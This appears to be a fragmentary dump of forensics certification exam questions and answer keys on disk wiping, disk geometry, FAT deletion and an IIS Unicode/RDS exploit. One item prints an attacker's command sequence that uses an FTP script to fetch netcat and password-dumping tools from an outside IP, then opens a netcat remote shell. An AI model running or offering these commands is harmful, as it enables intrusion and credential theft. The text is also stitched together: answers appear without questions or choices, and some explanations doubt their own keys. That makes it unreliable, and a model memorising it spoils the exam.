Answer: AC Explanation: To be effective with throwing the hard drive into the fire, the fire would have to be hot enough to melt the platters into molten metal, which requires an industrial furnance. This requires special facilities. Running powerful magnets over the disk, such as degaussing the disk, may destroy the data, but may also be ineffective. In some cases, the degaussing process for tape and disk may render the disk unusable for use again. (of course throwing the drives into a furnance also guarantee that as well). Formatting the disk multiple times with a low level disk utility is the best way to go, and still beable to re-use the disk for later projects. The keys are "multiple" and "low level". A low level format is typicall a slow, thorough, format that is a wipe. Multiple ?as opposed to once ?is recommended. There is a theory on "how many times", some schools say at least three times. The problem with this Answer is that with newer drives, such as ATA and SCSI, low level formats can destroy the volumes as well, and some BIOS may actually ignore the LLF directives. Overwritting the disk with junk data would perform some form of wipe because the old data is wiped out, but still may be recoverd. Note: According to some websites: Physical Methods that will not work to destroy data on a hard drive include:Throwing it in the water (this does not do much)Setting it on fire (the temperature is not going to be high enough at home)Throwing it out of the window. Hard drives can take quite a bit of G force. They are not heavy so the impact of the hard drive on the ground is not likely to destroy the platters.Drive over the hard drive. A car, or even a tank, driving over a hard drive will do nothing, any more than they would driving over a book. Unless the drive is actually flattened, the platters are not going to be destroyed

The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts.

The attacker makes a RDS query which results in the commands run as shown below. "cmd1.exe /c open 213.116.251.162 >ftpcom" "cmd1.exe /c echo johna2k >>ftpcom" "cmd1.exe /c echo haxedj00 >>ftpcom" "cmd1.exe /c echo get nc.exe >>ftpcom" "cmd1.exe /c echo get pdump.exe >>ftpcom" "cmd1.exe /c echo get samdump.dll >>ftpcom" "cmd1.exe /c echo quit >>ftpcom" "cmd1.exe /c ftp -s:ftpcom" "cmd1.exe /c nc -l -p 6969 -e cmd1.exe" What can you infer from the exploit given?

QUESTION 362 To calculate the number of bytes on a disk, the formula is: CHS** A. number of circles x number of halves x number of sides x 512 bytes per sector B. number of cylinders x number of halves x number of shims x 512 bytes per sector C. number of cells x number of heads x number of sides x 512 bytes per sector D. number of cylinders x number of heads x number of sides x 512 bytes per sector

Answer: D Explanation: Although D in this ;QUESTION is probably the closest, the Answer may have been transcribed incorrectly. CHS stands for Cylinder Head Sector, and S is not sides. Each side of a platter of a disk has its own head. A cylinder is an alignment of all tracks under one head position. So the Answer is number of cylinders x number of heads x number of sectors (per track) x 512 bytes per sector (assuming that is the sector size as some disks may have larger sector sizes). The number of tracks per side of disk, or the number of tracks that a single head can access is equal to the number of cylinders.

QUESTION 308 When a file is deleted by Windows Explorer or through the MS-DOS delete command, the operating system inserts _______________ in the first letter position of the filename in the FAT database.

Answer: D Explanation: When a file is deleted, the first byte is replaced with 0xE5 to marked the file as deleted or erased, and is the same for FAT12/16/32. An 0xE5 translates also to a ASCII 229, a "O" with a tilde. However, using the greek alphabet (see: http://www.ascii.ca/iso8859.7.htm) the ASCII code 229 is "the lowercase Greek Letter Epsilon, and Ascii code 243 is Lower case Greek Letter Sigma. http://chexed.com/ComputerTips/asciicodes.php says that Ascii 229 is Lowercase Greek Letter Sigma So, although D looks like the correct Answer here, it may require more understanding of the underlying intent of the ;QUESTION.

QUESTION 345 In a FAT32 system, a 123 KB file will use how many sectors? A. 34 B. 25 C. 11 D. 56 E. 246

Answer: E Explanation: If you assume that we are using 512 bytes sectors, then 123x1024/512 = 246 sectors would be needed.
